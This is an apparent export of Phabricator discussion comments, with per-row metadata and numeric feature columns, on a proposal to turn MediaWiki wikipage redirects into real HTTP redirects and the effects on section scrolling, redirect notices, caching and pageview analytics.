Why do we need JS to actually scroll to the position? what if the source link contains the the section name and we append the section as # at the end of URL, wouldn't the browser scroll to that position on its own?
 
like this > URL

"
884180,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3381860, @petr.matas wrote:
>>>! In T53736#3380437, @Krinkle wrote:
>> So perhaps it's better if we link to `/w/index.php?title=Target&rdfrom=Redirect#Section`.
> 
> Note that a much prettier `/?title=Target&rdfrom=Redirect#Section` works too and with the parameters swapped I like it even more. How about introducing something like `$wgIndexPath=""/""`? (See T18659#215617)

Let's keep that outside the scope for now. `/w/index.php?` is the established entry point for MediaWiki. The problem is that users should, as much as possible, see the canonical address (`/wiki/Target`) for the destination article - which is the url we want users to see and share. If we need a different url to set a query parameter, the compromise is already made. How long that ""special"" will be is of secondary concern, and I'd say consistency triumphs here. If we do want to adopt shorter urls for urls with query parameters, that should be, and already is, a separate proposal that will apply to everything at once.

>>! In T53736#3380977, @GWicke wrote:
> To clarify: I was talking about the ""redirected from"" notice, which at least the current description does not call out as needs-to-work-without-JS. While fundamental functionality like linking clearly shouldn't rely on JS, it might make sense to rely on JS for less critical features like small notices aimed primarily at editors, especially when that enables better cache performance.

Agreed. But we already use separate Varnish cache objects for these today and I don't think any of the proposed solutions are affected by whether or not we strip the query parameter. I'd prefer we keep this optimisation as a follow-up change proposal.",,,1498681403,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,200,True,1.0,0.5,0.0,1.0,1.0,5.0,2.0,0.0,0.0,1.0,1.5,1.5,0.0,0.0,0.0,4.5,0.0,6.0,11.0,0.5,1.5,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,2.0,0.0,7.0,2.0,0.0,1.5,0.0,0.0,0.5,0.5,1.5,0.0,0.0,1.5,1.5,0.5,0.0,0.0,0.5,0.0,15.5,1.0,2.0,1.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,1.0,0.0,0.5,0.0,6.5,4.5,10.5,3.0,3.0,9.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,5.0,11.0,4.5,0.0,1.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.5,0.0,0.0,3.895833333333333,0.6770833333333333,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Let's keep that outside the scope for now. CODE is the established entry point for MediaWiki. The problem is that users should, as much as possible, see the canonical address (CODE) for the destination article - which is the url we want users to see and share. If we need a different url to set a query parameter, the compromise is already made. How long that ""special"" will be is of secondary concern, and I'd say consistency triumphs here. If we do want to adopt shorter urls for urls with query parameters, that should be, and already is, a separate proposal that will apply to everything at once.

QUOTE
QUOTE

Agreed. But we already use separate Varnish cache objects for these today and I don't think any of the proposed solutions are affected by whether or not we strip the query parameter. I'd prefer we keep this optimisation as a follow-up change proposal."
883974,Consider changing wikipage redirects to be proper HTTP redirects,@Tgr I will take a look. we did some work around redirect notice using toast messages for mobilefrontend. ,,,1498668843,,PHID-USER-ed7ta55b47bd3ag6cnuw,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.75,0.95,SCREEN_NAME I will take a look. we did some work around redirect notice using toast messages for mobilefrontend. 
883967,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3386706, @daniel wrote:
> @Tgr Do you have anyone in particular in mind? Feel free to ping anyone you think should be involved. 

No one specific. Maybe @Nirzar or @Pginer-WMF can recommend someone who would be interested. (Is this a reading or an editing feature? Seems to be a bit of both.)

Quick UX summary: when you visit a redirect page, we display the target page with [[https://commons.wikimedia.org/wiki/File:EnWiki_redirect_-_Pichilemo.png#/media/File:EnWiki_redirect_-_Pichilemo.png|a small notice]] below the title (so the user understands how they ended up here after clicking on a different title)), and use Javascript to update the URL to that of the target page. When the redirect points to a specific section of the larger article (e.g. https://en.wikipedia.org/wiki/Camden_Market_Fire ), we use Javascript to scroll to the target section. This has a couple problems: with JS, the user never sees the redirection notice and might not understand what is happening. (It doesn't help that sometimes the connection between the redirect and the target section is not obvious.) Without JS, the user sees the top of the article (with the notice, but it only tells which article they were redirected from, not the target section).",,,1498668625,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,200,True,0.0,0.3333333333333333,0.0,0.3333333333333333,2.0,2.3333333333333335,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,5.333333333333333,8.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,5.666666666666667,3.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.0,13.666666666666666,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,9.666666666666666,2.3333333333333335,7.0,1.3333333333333333,2.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.6666666666666665,8.0,3.0,0.3333333333333333,0.0,0.0,2.6666666666666665,0.0,2.3333333333333335,2.3333333333333335,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,3.9326513213981245,0.7116368286445013,"QUOTE
QUOTE

No one specific. MaybeSCREEN_NAME orSCREEN_NAME-WMF can recommend someone who would be interested. (Is this a reading or an editing feature? Seems to be a bit of both.)

Quick UX summary: when you visit a redirect page, we display the target page with [[URL small notice]] below the title (so the user understands how they ended up here after clicking on a different title)), and use Javascript to update the URL to that of the target page. When the redirect points to a specific section of the larger article (e.g. URL ), we use Javascript to scroll to the target section. This has a couple problems: with JS, the user never sees the redirection notice and might not understand what is happening. (It doesn't help that sometimes the connection between the redirect and the target section is not obvious.) Without JS, the user sees the top of the article (with the notice, but it only tells which article they were redirected from, not the target section)."
883787,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3382857, @Jdlrobson wrote:
> Just an FYI, in mobile we show a notification (see screenshot) when a redirect happens:
> F8538184
> Will it be possible to retain this behaviour?

Depending on what we end up doing, you'll probably need to reimplement some pieces, but surely it'll be still possible. This seems functionally equivalent to the ""Redirected from"" notice on desktop and we're keeping that.



>>! In T53736#3386706, @daniel wrote:
> @Tgr Do you have anyone in particular in mind? Feel free to ping anyone you think should be involved. 
> 
> I can't find any tag for ""this is UX relevant""... why is that? 

The closest thing is #design I guess.",,,1498660006,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,200,True,1.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,6.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,3.0,7.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,7.0,9.0,9.0,0.0,3.0,0.0,7.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,3.8857142857142857,0.7,"QUOTE
QUOTE
QUOTE
QUOTE

Depending on what we end up doing, you'll probably need to reimplement some pieces, but surely it'll be still possible. This seems functionally equivalent to the ""Redirected from"" notice on desktop and we're keeping that.



QUOTE
QUOTE
QUOTE
QUOTE

The closest thing is #design I guess."
883742,Consider changing wikipage redirects to be proper HTTP redirects,"@Tgr Do you have anyone in particular in mind? Feel free to ping anyone you think should be involved. 

I can't find any tag for ""this is UX relevant""... why is that? ",,,1498658204,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,2.0,5.0,0.0,2.0,2.0,8.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,10.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,8.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,10.0,2.0,5.0,5.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.55,0.85,"SCREEN_NAME Do you have anyone in particular in mind? Feel free to ping anyone you think should be involved. 

I can't find any tag for ""this is UX relevant""... why is that? "
883730,Consider changing wikipage redirects to be proper HTTP redirects,"Will there be anyone with UX expertise at the IRC discussion? This seems more like a user experience question than a technical one. And the UX is broken in multiple ways (for example, the ""redirected from"" text is at the top of the article, but when section targeting works the user does not see that message), so we might want to look for a more innovative solution.",,,1498657776,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,200,True,0.0,1.0,0.0,1.0,1.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,16.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,8.0,1.0,4.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,14.0,4.0,1.0,3.0,0.0,1.0,0.0,1.0,4.0,0.0,1.0,3.0,0.0,0.0,3.909090909090909,0.7792207792207793,"Will there be anyone with UX expertise at the IRC discussion? This seems more like a user experience question than a technical one. And the UX is broken in multiple ways (for example, the ""redirected from"" text is at the top of the article, but when section targeting works the user does not see that message), so we might want to look for a more innovative solution."
883277,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3383868, @Nuria wrote:
>>In case of HTTP 301/302 I think it should not be difficult to process the pair of requests as a single event and account for it in any way that we find appropriate.
> Coupling request in our system is never easy, as we have no session identifier send to the backend but regardless in this case we should not need to do that if a 301 is followwed by a 200. 
> Now, It is a bit more complicated for other metrics that re not pageviews, cause now cookies are being set on your initial 301 request. So cookies are set ""before"" a pageview happens.
> 
> Right now a Pageview for ""barak_obama"". Internally redirects to ""Barack_Obama"" and translates (from user standpoint) to a 200 request. If we follow the ""canonical"" http way of doing redirects this will translate to two requests (if I understand the changes proposed). A 301 from  ""barak_obama"" to ""Barack_Obama"" and a 200 for ""Barack_Obama"". In the case of ""pageview counting"" we will be fine, the 200 will be counted, the 301 will be not. One pageview happened. 
> 
It's good that the total number of pageviews won't be affected (speaking as someone who tracks trends in this metric). 
However, it seems that views will now counted towards the target page (""Barack_Obama"") instead of the redirect page (""barak_obama""), and that's a major change. As I said above, it may have advantages and disadvantages - but definitely something to be aware of, and to alert users of this data about when the time comes. It may also be worth setting up a separate mechanism for tracking redirect views then, because that information definitely gets used (see e.g. https://en.wikipedia.org/wiki/Wikipedia:Redirect#Reasons_for_not_deleting #5 ).",,,1498596759,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,199,True,0.0,1.0,0.0,0.5,0.5,5.0,1.5,0.5,0.0,0.0,3.5,0.5,0.0,0.0,0.0,0.5,0.0,7.0,10.0,1.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,1.5,0.5,0.0,3.5,0.5,2.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,1.5,0.0,0.0,0.5,12.0,0.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.5,2.0,8.0,2.5,2.5,6.5,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,3.0,10.0,3.0,0.0,2.0,0.0,3.0,0.0,1.0,1.5,0.0,2.0,0.0,0.0,0.0,3.85,0.7273291925465839,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
It's good that the total number of pageviews won't be affected (speaking as someone who tracks trends in this metric). 
However, it seems that views will now counted towards the target page (""Barack_Obama"") instead of the redirect page (""barak_obama""), and that's a major change. As I said above, it may have advantages and disadvantages - but definitely something to be aware of, and to alert users of this data about when the time comes. It may also be worth setting up a separate mechanism for tracking redirect views then, because that information definitely gets used (see e.g. URL #5 )."
883155,Consider changing wikipage redirects to be proper HTTP redirects,">In case of HTTP 301/302 I think it should not be difficult to process the pair of requests as a single event and account for it in any way that we find appropriate.
Coupling request in our system is never easy, as we have no session identifier send to the backend but regardless in this case we should not need to do that if a 301 is followwed by a 200. 
Now, It is a bit more complicated for other metrics that re not pageviews, cause now cookies are being set on your initial 301 request. So cookies are set ""before"" a pageview happens.

Right now a Pageview for ""barak_obama"". Internally redirects to ""Barack_Obama"" and translates (from user standpoint) to a 200 request. If we follow the ""canonical"" http way of doing redirects this will translate to two requests (if I understand the changes proposed). A 301 from  ""barak_obama"" to ""Barack_Obama"" and a 200 for ""Barack_Obama"". In the case of ""pageview counting"" we will be fine, the 200 will be counted, the 301 will be not. One pageview happened. 

 In the case of metrics that rely on cookies being set on the initial request (that used to be a 200)  things will no longer work the same, as our assumption in this case is that ""cookies are being set on a pageview-worhty-request"", a 200. This will affect counting of Unique Devices. You can see a high level explanation of how this metric is computed here and why is important whether a cookie is set or updated: https://blog.wikimedia.org/2016/03/30/unique-devices-dataset/

I bet this effect of cookies being set ""earlier"" than they were before (on 301 request versus 200 request) might affect other things too.

This is not to say we cannot adjust on our end, we can, we just need a heads up. 
",,,1498588059,,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,0.0,0.0,0.0,3.0,1.25,3.75,1.75,0.0,0.0,0.75,1.75,0.0,0.0,0.0,0.0,3.25,0.0,6.5,11.0,0.0,0.75,0.25,0.0,0.0,0.75,0.0,0.0,0.0,1.25,1.5,0.5,5.5,0.5,0.25,0.5,0.5,0.0,0.0,1.75,2.25,0.25,0.25,1.0,0.75,0.25,0.5,0.0,0.25,0.0,12.25,1.25,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.75,0.0,0.5,0.75,0.0,0.25,0.25,0.25,0.0,6.0,5.25,6.25,2.0,1.25,8.5,0.0,0.0,0.0,0.0,3.5,0.0,3.5,0.0,4.25,11.0,1.75,0.0,5.0,0.0,4.25,0.0,1.0,3.75,0.0,0.25,0.5,0.0,0.0,3.672403901319564,0.6754518072289156,"QUOTE
Coupling request in our system is never easy, as we have no session identifier send to the backend but regardless in this case we should not need to do that if a 301 is followwed by a 200. 
Now, It is a bit more complicated for other metrics that re not pageviews, cause now cookies are being set on your initial 301 request. So cookies are set ""before"" a pageview happens.

Right now a Pageview for ""barak_obama"". Internally redirects to ""Barack_Obama"" and translates (from user standpoint) to a 200 request. If we follow the ""canonical"" http way of doing redirects this will translate to two requests (if I understand the changes proposed). A 301 from  ""barak_obama"" to ""Barack_Obama"" and a 200 for ""Barack_Obama"". In the case of ""pageview counting"" we will be fine, the 200 will be counted, the 301 will be not. One pageview happened. 

 In the case of metrics that rely on cookies being set on the initial request (that used to be a 200)  things will no longer work the same, as our assumption in this case is that ""cookies are being set on a pageview-worhty-request"", a 200. This will affect counting of Unique Devices. You can see a high level explanation of how this metric is computed here and why is important whether a cookie is set or updated: URL

I bet this effect of cookies being set ""earlier"" than they were before (on 301 request versus 200 request) might affect other things too.

This is not to say we cannot adjust on our end, we can, we just need a heads up. 
"
883140,Consider changing wikipage redirects to be proper HTTP redirects,">In case of HTTP 301/302 I think it should not be difficult to process the pair of requests as a single event and account for it in any way that we find appropriate.
No, it is a bit more complicated cause now cookies are being set on your initial 301 request, which technically is not a pageview per our definition, as it is a redirect. 

Right now a Pageview for ""barak_obama"". Internally redirects to ""Barack_Obama"" and translates (from user standpoint) to a 200 request. If we follow the ""canonical"" http way of doing redirects this will translate to two requests (if I understand the changes proposed). A 301 from  ""barak_obama"" to ""Barack_Obama"" and a 200 for ""Barack_Obama"". In the case of ""pageview counting"" we will be fine, the 200 will be counted, the 301 will be not. One pageview happened. 

 In the case of metrics that rely on cookies being set on the initial request (that used to be a 200)  things will no longer work the same, as our assumption in this case is that ""cookies are being set on a pgeview-worhty-request"", a 200. This will affect counting of Unique Devices. You can see a high level explanation of how this metric is computed here and why is important whether a cookie is set or updated: https://blog.wikimedia.org/2016/03/30/unique-devices-dataset/

I bet this effect of cookies being set ""earlier"" than they were before (on 301 request versus 200 request) might affect other things too.

This is not to say we cannot adjust on our end, we can, we just need a heads up. 
",,,1498587520,,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,0.0,0.0,0.0,3.0,1.3333333333333333,3.6666666666666665,2.6666666666666665,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,6.666666666666667,11.333333333333334,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.3333333333333333,2.0,0.6666666666666666,5.666666666666667,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,2.0,2.6666666666666665,0.0,0.3333333333333333,1.0,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,13.666666666666666,1.6666666666666667,1.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,7.0,6.333333333333333,7.0,2.0,1.3333333333333333,9.666666666666666,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,4.0,0.0,5.0,11.333333333333334,2.3333333333333335,0.0,6.0,0.0,5.0,0.0,1.3333333333333333,4.333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,3.659901202749141,0.660688717067583,"QUOTE
No, it is a bit more complicated cause now cookies are being set on your initial 301 request, which technically is not a pageview per our definition, as it is a redirect. 

Right now a Pageview for ""barak_obama"". Internally redirects to ""Barack_Obama"" and translates (from user standpoint) to a 200 request. If we follow the ""canonical"" http way of doing redirects this will translate to two requests (if I understand the changes proposed). A 301 from  ""barak_obama"" to ""Barack_Obama"" and a 200 for ""Barack_Obama"". In the case of ""pageview counting"" we will be fine, the 200 will be counted, the 301 will be not. One pageview happened. 

 In the case of metrics that rely on cookies being set on the initial request (that used to be a 200)  things will no longer work the same, as our assumption in this case is that ""cookies are being set on a pgeview-worhty-request"", a 200. This will affect counting of Unique Devices. You can see a high level explanation of how this metric is computed here and why is important whether a cookie is set or updated: URL

I bet this effect of cookies being set ""earlier"" than they were before (on 301 request versus 200 request) might affect other things too.

This is not to say we cannot adjust on our end, we can, we just need a heads up. 
"
883136,Consider changing wikipage redirects to be proper HTTP redirects,">In case of HTTP 301/302 I think it should not be difficult to process the pair of requests as a single event and account for it in any way that we find appropriate.
No, it is a bit more complicated cause now cookies are being set on your initial 301 request, which technically is not a pageview per our definition, as it is a redirect. 

Right now a Pageview for ""barak_obama"". Internally redirects to ""Barack_Obama"" and translates (from user standpoint) to a 200 request. If we follow the ""canonical"" http way of doing redirects this will translate to two requests (if I understand the changes proposed). A 301 from  ""barak_obama"" to ""Barack_Obama"" and a 200 for ""Barack_Obama"". In the case of ""pageview counting"" we will be fine, the 200 will be counted, the 301 will be not. One pageview happened. 

 In the case of metrics that rely on cookies being set on the initial request (that used to be a 200)  things will no longer work the same, as our assumption in this case is that ""cookies are being set on a pgeview-worhty-request"", a 200. This will affect counting of Unique Devices. You can see a high level explanation of how this metric is computed here and why is important whether a cookie is set or updated: https://blog.wikimedia.org/2016/03/30/unique-devices-dataset/

I bet this effect of cookies being set ""earlier"" than they were before (on 301 request versus 200 request) might affect other things too. 
",,,1498587438,,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,0.0,0.0,0.0,3.3333333333333335,0.6666666666666666,4.0,2.3333333333333335,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.0,2.0,0.0,5.666666666666667,11.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.6666666666666666,2.0,0.6666666666666666,5.333333333333333,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,2.0,2.6666666666666665,0.0,0.3333333333333333,1.0,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,13.666666666666666,1.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,7.0,6.333333333333333,7.0,2.3333333333333335,1.3333333333333333,9.333333333333334,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,3.6666666666666665,11.0,2.3333333333333335,0.0,6.333333333333333,0.0,3.6666666666666665,0.0,1.3333333333333333,4.333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,3.7499574395641813,0.6790091930541369,"QUOTE
No, it is a bit more complicated cause now cookies are being set on your initial 301 request, which technically is not a pageview per our definition, as it is a redirect. 

Right now a Pageview for ""barak_obama"". Internally redirects to ""Barack_Obama"" and translates (from user standpoint) to a 200 request. If we follow the ""canonical"" http way of doing redirects this will translate to two requests (if I understand the changes proposed). A 301 from  ""barak_obama"" to ""Barack_Obama"" and a 200 for ""Barack_Obama"". In the case of ""pageview counting"" we will be fine, the 200 will be counted, the 301 will be not. One pageview happened. 

 In the case of metrics that rely on cookies being set on the initial request (that used to be a 200)  things will no longer work the same, as our assumption in this case is that ""cookies are being set on a pgeview-worhty-request"", a 200. This will affect counting of Unique Devices. You can see a high level explanation of how this metric is computed here and why is important whether a cookie is set or updated: URL

I bet this effect of cookies being set ""earlier"" than they were before (on 301 request versus 200 request) might affect other things too. 
"
882981,Consider changing wikipage redirects to be proper HTTP redirects,"Just an FYI, in mobile we show a notification (see screenshot) when a redirect happens:
{F8538184}
Will it be possible to retain this behaviour?
",,,1498579156,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,12.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,6.0,6.0,3.0,0.0,0.0,6.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,0.9117647058823529,"Just an FYI, in mobile we show a notification (see screenshot) when a redirect happens:
{F8538184}
Will it be possible to retain this behaviour?
"
882791,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3380437, @Krinkle wrote:
> So perhaps it's better if we link to `/w/index.php?title=Target&rdfrom=Redirect#Section`.

Note that a much prettier `/?title=Target&rdfrom=Redirect#Section` works too and with the parameters swapped I like it even more. How about introducing something like `$wgIndexPath=""/""`? (See T18659#215617)",,,1498564521,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,12.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,26.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,12.0,6.0,3.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,6.0,0.0,0.0,4.235294117647059,0.9117647058823529,"QUOTE
QUOTE

Note that a much prettier CODE works too and with the parameters swapped I like it even more. How about introducing something like CODE? (See T18659#215617)"
882613,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3381115, @petr.matas wrote:
>>>! In T53736#3380929, @Tbayer wrote:
>> Naive question: What would the analytics impact of this be - would we continue to register a webrequest / pageview for the redirect page, or would this change to the target page? (Cf. T121912)
> 
> In case of HTTP 301/302 I think it should not be difficult to process the pair of requests as a single event and account for it in any way that we find appropriate.

Well maybe, but it would be better to have the Analytics Engineering team confirm that it will indeed not difficult for them to adapt their code and infrastructure to this change.

FWIW, per https://wikitech.wikimedia.org/wiki/Analytics/Data_Lake/Traffic/Pageviews/Redirects the current infrastructure does not count 301 redirects as pageviews, so the proposal would seem to cause major changes in the pageview data. In some aspects it might actually be desirable, in others less so.

(CCing @mforns as the author of that documentation page, @nuria as the team's lead engineer, plus @Milimetric and @MusikAnimal who IIRC have an interest in the topic too)",,,1498537269,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,199,True,1.0,0.0,0.0,0.0,1.0,4.0,1.5,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,2.0,0.0,2.0,0.0,2.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.5,0.0,0.0,0.5,18.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,6.0,1.5,8.5,1.5,1.0,8.5,0.0,0.0,0.0,0.0,4.5,0.5,0.5,0.0,3.0,11.0,3.5,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.5,0.0,1.5,0.0,0.0,4.40677966101695,0.771186440677966,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Well maybe, but it would be better to have the Analytics Engineering team confirm that it will indeed not difficult for them to adapt their code and infrastructure to this change.

FWIW, per URL the current infrastructure does not count 301 redirects as pageviews, so the proposal would seem to cause major changes in the pageview data. In some aspects it might actually be desirable, in others less so.

(CCingSCREEN_NAME as the author of that documentation page,SCREEN_NAME as the team's lead engineer, plusSCREEN_NAME andSCREEN_NAME who IIRC have an interest in the topic too)"
882605,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3380929, @Tbayer wrote:
> Naive question: What would the analytics impact of this be - would we continue to register a webrequest / pageview for the redirect page, or would this change to the target page? (Cf. T121912)

